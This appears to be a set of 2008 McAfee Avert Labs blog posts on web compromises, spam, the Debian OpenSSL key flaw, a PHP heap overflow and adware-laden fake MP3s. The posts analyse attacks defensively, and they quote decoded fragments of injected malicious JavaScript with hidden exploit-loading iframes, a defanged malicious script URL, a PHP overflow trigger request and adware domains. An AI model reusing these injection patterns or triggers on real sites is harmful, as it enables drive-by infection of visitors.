McAfee Avert Labs Blog

In March I blogged about a round of mass Web site compromises. Since then there have been several other instances discovered, as well as a couple of smoking guns. The net net is that the bad guys are using automated tools to find and attack Web applications that are vulnerable to SQL-injection attacks. Many of these applications are homegrown and thus there is no patch or hotfix for administrators to install. This means that simply removing the injected malicious code won’t last long.

Just now I was reviewing the latest batch of hacked sites, and I noticed pages that were previously compromised and “repaired,” only to be compromised again. The entry point for these attacks must be closed in order to thwart future attacks. This means that underlying code must be audited and improper input validation must be corrected. And given that many Web administrators install out-of-support freeware and shareware applications, we can expect many sites to remain vulnerable for a very long time.

McAfee’s Foundstone Hackme Shipping Tool can be a useful resource for those in need of a better understanding of how common Web application attacks occur and how to properly code against them.

NDR Spam a.k.a. Backscatter has been around for years but has only recently hit the radar as a major spam issue mainly due to the rise of the botnet and spammers desperation to get messages through to the end user.

What is an NDR?
NDR short for Non Delivery Receipt is an automated email sent by an MTA that informs the sender there has been a problem with the delivery of the message they have sent.

NDRs are also referred to as Delivery Status Notifications (DSN) or simply bounce messages.

So what is NDR Spam?
NDR Spam occurs when spammers fake your email address in the From field when sending their spam. If the intended recipient of the spam does not exist or has no space left in their inbox etc. then you’ll receive a Non Delivery Receipt for an email you never actually sent.

Also contributing to this problem is Challenge/Response spam filtering services, Out Of Office notifications, List auto replies and any other auto-responder type email.

Why has it become a problem?
Spammers are constantly looking for ways to evade anti-spam filters. The recent sharp rise in NDR spam suggests that rather than just having some bad email addresses on their lists that bounce, they have started to target email addresses that bounce in order to get their spam content through to your inbox. They can do this by using totally random email addresses but with a legitimate domain that is destined to bounce or they can compile lists of email addresses that bounce when spammed. It’s even possible the spammers are targeting domains that they know return bounces with the full message attached. Basically the spammer wants to relay his spam via a legitimate mail server to get it in your inbox even if it doesn’t look pretty.

How big is the problem?
NDR spam is currently about 2% of all spam that’s down from over 4% a couple of weeks ago. It’s possible this method hasn’t been effective enough for the spammers. We believe that over 50% of these bounces are coming from the one botnet alone. NDR spam can be broken down into three main categories, an NDR with the full message attached, an NDR with only the spammy headers attached or an NDR with no spam content at all.

Detecting NDR Spam
There are several problems associated with detecting this particular type of spam.

The good news…

Reducing Outbound NDR Spam
Reducing the amount of NDRs sent by your server would also help this situation with the added benefit of reducing the load on your server.

There are two types of bounce synchronous and asynchronous. Synchronous bouncing occurs when the remote mail server rejects the message during the SMTP conversation. This helps reduce load on your server by preventing it having to send an NDR. Unfortunately this can open your server up to dictionary attacks but there are solutions to that issue such as tar pitting. An asynchronous bounce happens when the remote mail server accepts the message and later decides there is a problem with delivery so it returns it by sending an NDR to the return path of the message. I would recommend using synchronous bouncing if it is a feature of your mail server.

We could suggest that all responsible Administrators should leave the Original message in their NDRs making it much easier to identify and block these messages with existing anti-spam technologies but on the flip-side if no NDR messages had the spam content in them then it wouldn’t be worth the spammers while sending them. Each approach has its advantages and disadvantages.

Almost two years ago in 2006 Debian decided to clean up their OpenSSL implementation. They found a few lines of code that were causing Valgrind and Purify to complain about access to uninitialized memory. Without a major investigation into the purpose of the suspect lines of code they were simply removed. All basic tests continued to pass with the lines of code removed and Purify and Valgrind both stopped complaining about the improper memory access. The change was forgotten and everyone believed that the OpenSSL implementation was working just fine.

For the purposes of all the OpenSSL algorithms there was no deficiency. Encryption and decryption and hashes would be calculated correctly. The problem was that the PRNG used for generating keys by the OpenSSL library had been crippled when those critical lines were removed back in 2006. This was not discovered until just this week when Luciano Bello discovered that without those lines the only ‘random’ data used to seed the PRNG was the PID of the OpenSSL process. On many Linux systems the PID is limited to a positive signed 16 bit value. This means there are only 32,767 possibilities. When new keys and certificates were generated by OpenSSL they relied on this number to provide all of their entropy.

The consequence of this bug is that from September 2006 until May 2008 there were only 32,767 possible keys that could be generated by OpenSSL. Several individuals have generated “black lists” of every possible key that this OpenSSL implementation could generate. According to some reports this entire list can be generated in a couple hours. This weakness affects any key generated by OpenSSL including SSH and DNSSEC keys among others.

Many machines will fail to be updated in a quick manner after the discovery of this vulnerability. There are already many botnets which spread by simply brute forcing common username and password combinations over SSH. It will probably not be long until some of these networks are modified to start attempting RSA authentication using the faulty OpenSSL keys. These attacks will not take long to develop and have the potential to compromise large numbers of machines. It is important for administrators to note that even if they replace and upgrade the OpenSSL package they must recreate and replace any keys or certificates generated by the broken OpenSSL kit.

The moral for developers is to always be sure you understand the impact of your code changes. This goes extra for critical libraries like OpenSSL. Minor and seemingly inconsequential changes can leave major problems festering undetected for years. There may also be some changes in the way that Debian developers work with the developers of other related software packages like OpenSSL. Hopefully increased communication between the development teams in the future can prevent this kind of bug from recurring.

Following the big noise that the latest mass injection of sites with malicious Javascripts infecting many computers via a number of exploits I decided to take a look at the trail that was left behind, which has proven to be an interesting exercise!

A few days ago I noticed a large number of websites that were misbehaving and I came across many pages that would fire up the usual ActiveX alert on my Internet Explorer 7 after loading a Javascript called (on this occasion) addr.js … Not surprisingly these were mostly based in China and here is a snippet of code that most of you would probably recognise by now.

So far nothing new, the Javascript function you can see above, designed by Dean Edwards to obfuscate HTML code, it has been discussed in many posts and this is a popular method for a web developers to “hide” sensitive source code on their pages. It is unfortunately also a popular method to hide malicious code too. and the example above does just that, in fact here are some interesting parts of the decoded version from the above example:

try{if(navigator.userAgent.toLowerCase().indexOf(”ms”+”ie 7″)==-1)

This will check if version of Internet Explorer is 7 and the script will then load the following IFRAMES depending on some other factors such as GMT, ActiveX, presence of Real Player version etc.

<iframe style=display:none src="http:// :///ms.gif">
<iframe style=display:none src=":///xl.gif">
<iframe style=display:none src="http:// :///bd.gif">
<iframe style=d'+'isp'+'lay:none src="http:// :///r'+'eal.g'+'if">
<iframe style=d'+'isp'+'lay:none src="http:///r'+'eal_new.g'+'if">
<iframe style=display:none src="http:// :///lz.gif">

As we can see 6 IFRAMES are hidden in the code, and they will load various pages with exactly the same exploits (with minor variations) that were used in the recent mass injection a couple of weeks ago.

So you might ask now, what’s new about that? Well, what is worrying is the fact that the pages loaded by the IFRAMES will attempt to grab some fake GIF (image) files that are in fact hiding more Javascript code but this time the code is obfuscated by yet another commercial tool called HTMLSHIP.

The following snippet is an example from one of the pages hiding a RealPlayer Exploit:

As you may have noticed this is pretty much un-readable but here is the important part of the code de-obfuscated using one of my favourite tools, the Caffeine-Monkey implementation of the Mozilla Browser engine from Ben Feinstein and Daniel Peck at SecureWorks.

----------

Above we can see the CLSID for the RealPlayer ActiveX Control.
And below we can see some of the code used to exploit the vulnerability described here.

----------------

So far I have seen a few variations in the domains used to host the various exploits involved as well as in the names for the Javascript file and we will be monitoring these for changes to see if it will be used more extensively in the future.

As of today the samples I discovered are still not detected by any AV … Well except one that is…

An additional note is the fact that the techniques used in obfuscating malicious Javascript on webpages are becoming more sophisticated and more difficult to signature for conventional AV Engines.
Nowadays there are a large number of tools similar to the ones mentioned above allowing malware authors to obfuscate with ease.

A quick parallel with binary files and their respective packers (compressors, protectors, encryptors and so on) this is not a new technique but as I said things are becoming more sophisticated just like with UPX vs the likes of Armadillo, ASProtect and others.

To hide or not To hide

In an Ideal world the people making this commercial protection software available should have no need to hide code in such convoluted ways and perhaps, in the case of web-design people should be more aware of other practices to make code secure and safe for copyrights and/or trademark reasons. For example server-side scripting, or using Ajax and Java for servlets.

If I was to embark in the task of leeching the code of a particularly interesting web-page and I understood the inner workings of scripting languages such as Javascript or the Microsoft implementation for IE’s JScript I would not be stopped by such trivial means of hiding the code that can be easily reverted to the original look with a few clicks and the latest version of a browser engine like the Mozilla Java-Script C engine.

Many Ideas are being brought forward in the field of packing and how to counteract the incredible rise in malware variants caused by it. Perhaps people making legitimate software and writing legitimate HTML code for web-pages should start coming to terms with the fact that “Security through Obscurity” has failed miserably to deliver and that, the cleaner their products the easier it will be for all of us to identify suspicious illegal software/code making the task of identifying the bad guys a little less daunting….. however this is far from an ideal world
Errr…. Linux anyone?

Sometime back we had come across this interesting vulnerability posted by a Chinese researcher in his blog, claiming to have found a zero day vulnerability in php 5.2.3.

We got a chance to dig a bit deeper into this and were able to reproduce the vulnerability based on the information provided in the blog. After investigation, we found that this vulnerablility affects not only verion 5.2.3 but also version 5.2.5. It is a heap overflow which can be triggered when a web server with PHP receives a malformed URI request, it can be a simple request like “GET /index.php/aa HTTP/1.1″ . Successful exploitation of this can result in arbitrary code execution with the privileges of the WEB Server.

This happens because the author misplaced the bracket resulting in miscalculation of the buffer which can result in a heap overflow. So fixing this issue is also simple viz: In \sapi\cgi\cgi-man.c do a grep for: “ptlen + env_path_info ? strlen(env_path_info) : 0;” , and replace this with “ptlen + (env_path_info ? strlen(env_path_info) : 0); ”

This is one of the classic examples of small human errors (which can sometime be even typos) that can result in vulnerabilities.

We had reported this issue to PHP dev team almost immediately after we had come to know about this issue in the wild and they’ve just come out with a patch for this. We highly recommend users to update with the latest version of PHP 5.2.6 released . This patch besides this issue, fixes a host of other security related fixes, some of which we deem as critical. This specific issue affects FastCGI packages of PHP.

This issue has been given the identifier CVE-2008-0599.

We shall continue to monitor this threat and update if we come across anything malicious.

In my role as an anti-spam researcher I get to see a lot of spam. Most of the spam I see can be categorized into a fairly small range of spam types. Common examples include pharmacy, stock and watch spam.

Over the last few weeks I have seen a new type of spam. This is spam which is trying to sell a product to save money on gas. Below is an example of a gas spam:

Currently McAfee detect gas spam. Volume is low for this type of spam making up typically 0.2% of all spam.

Given the high price of oil it is not surprising that a spammer has started selling a product which claims to reduce gas bills.

Mozilla came out with an advisory yesterday warning users of compromised files in the Vietnamese language pack for Firefox 2. This was not the work of a malicious hacker or intentional booby-trapping of the files by the author but the result of a careless internal virus infection.

The author of the add-on was accidently infected and every help file (*.xhtml) in the Vietnamese language pack for Firefox was modified by the virus and appended with a script. Any user who installed this language pack would have malicious ads displayed in their browser and could have potentially being infected with other exploits.

The script linked to hxxp://js.k0102.com/[Removed].asp (currently offline) - a remote website based in China. The offending script in the compromised help pages have since been removed by the Mozilla developers.

According to Mozilla’s blog, anyone who downloaded the most recent Vietnamese language pack for Firefox 2 since February 18, 2008 would have potentially got an infected copy. The exact number of compromised downloads cannot be ascertained, but since this affected only users who downloaded the Vietnamese language pack, the numbers could be limited.

When contacted, the Mozilla developers were quick to respond and provided us a copy of the compromised files.

McAfee users are pro-actively detected against this threat. The malicious HTML pages are already detected as the W32/Fujacks!htm virus with the 5174 DAT files that were released way back in 29th November 2007.

The media frequently speaks about the underground economy and quote price ranges for various private goods available for sale. I recently read the trends were bearish, but let there be no misunderstanding about that, if the quality is here, the price will still be high. It is just like the price of food, you have the hard-discount and the luxury stores!!

With this post, I wish to be more precise regarding the data regarding the prices of some cybercriminal groups around the globe.

Last Friday morning in France, my investigations lead me to visit a site proposing top-quality data for a higher price than usual. But when we look at this data we understand that as everywhere, you have to pay for quality. The first offer concerned bank logons. As you can see in the following screenshot, pricing depends on available balance, bank organization and country. Additional information such as PIN and Transfer Passphrase are also given when necessary:

For such prices, the seller offers some guaranties. For example, the purchase is covered by replacement, if you are unable - within the 24 hours - to log into the account using the provided details.

The selling site also proposes US, Austria and Spanish credit cards with full information:

• ccnumber
• cvv2
• exp.date
• name
• adress
• city
• state/province
• zip/postal
• phone-number
• SSN(US Only)
• DL#
• MMN

It is also possible to purchase skimmers (for ATM machine) and “dump tracks” to create fake credit cards. Here too, cost is in touch with the quality:

Depending on the price, you can choose your bank among various lists; more than 900 choices for North America or European countries:

Many other offers are available like shop administrative area accesses (back end of an online store where all the customer details are stored – from Name, SSN, DOB, Address, Phone number to CC) or UK or Swiss Passport information:

And to convince prospective clients, the site offers some free data to demonstrate their know-how. I partially anonymized some of this data so I could provide an example. If you recognize yourself, do not hesitate to contact the police force so that they may institute legal proceedings.

Have you had any odd meetings in your Outlook or Google calendars lately? I’ve been monitoring an interesting spamming technique over the past few weeks where they are sending automatically accepted meeting requests (if you allow that) to your calendar.

The spam is originating from Gmail accounts but the Google and Outlook calendar functions are compatible so the meeting request goes straight into your calendar and you probably won’t notice it until you get a reminder at the spammers chosen time.

All the samples I’ve seen so far are Nigerian Scams which is interesting in itself as the Nigerian scammers have traditionally been less advanced in terms of coming up with new tricks.

This tactic adds a further nuisance factor for the recipients of this spam as it sets your time as “Busy”. Sure, you can turn off automatic acceptance of meeting requests via the Calendar options in Outlook and in Google Calendar but that feature is provided for a reason so why should the spammers stop us using it? This spam campaign has been low volume and targeted as is the nature of the Nigerian Scam email but there’s been alot of talk in the last few months about Gmails captcha being broken so it wouldn’t suprise me if the botnet spammers pick it up pretty soon!

Earlier we blogged about Fake MP3s Running Rampant, mostly on P2P networks, such as Gnutella used by Limewire.  I took some time to create a video clip showing what the infection process looks like.  In doing so, hundreds of additional media files were uncovered.  Most leading to the aforementioned site, freemp3player.com, but others leads to different sites distributing adware and others still pose as codec installers that when run, display fake error messages and download and silently install tons of files, including many different adware packages, such as:

Adware-BB
Adware-Beginto
Adware-Isearch
Adware-Mirar
Adware-SrchExplorer
Adware-Zeno

Domains linked to from the media files include:

mediaprovider . info
missing-codecs . com
seonomad . com
vidscentral . net

While this demo below shows that user’s must accept a EULA before proceeding, others contain no EULA.

– Update May 7 –
Adding some answers for questions that we’ve received.

These “MP3″ files are in fact ASF files that instruct media players such as Windows Media Player to navigate to a specified URL (via the default HTTP protocol handler - ie. default browser).  Not all media players support this functionality.

Our detection rates are based on a segment of VirusScan consumers who have opted-in to reporting their detections to McAfee.  Approximately 500,000 unique systems have reported having these Trojan media files on their PCs over the last few days.  However, the number of those systems that have downloaded the adware installer from fastmp3player.com during this period is less than 10% (< 50,000).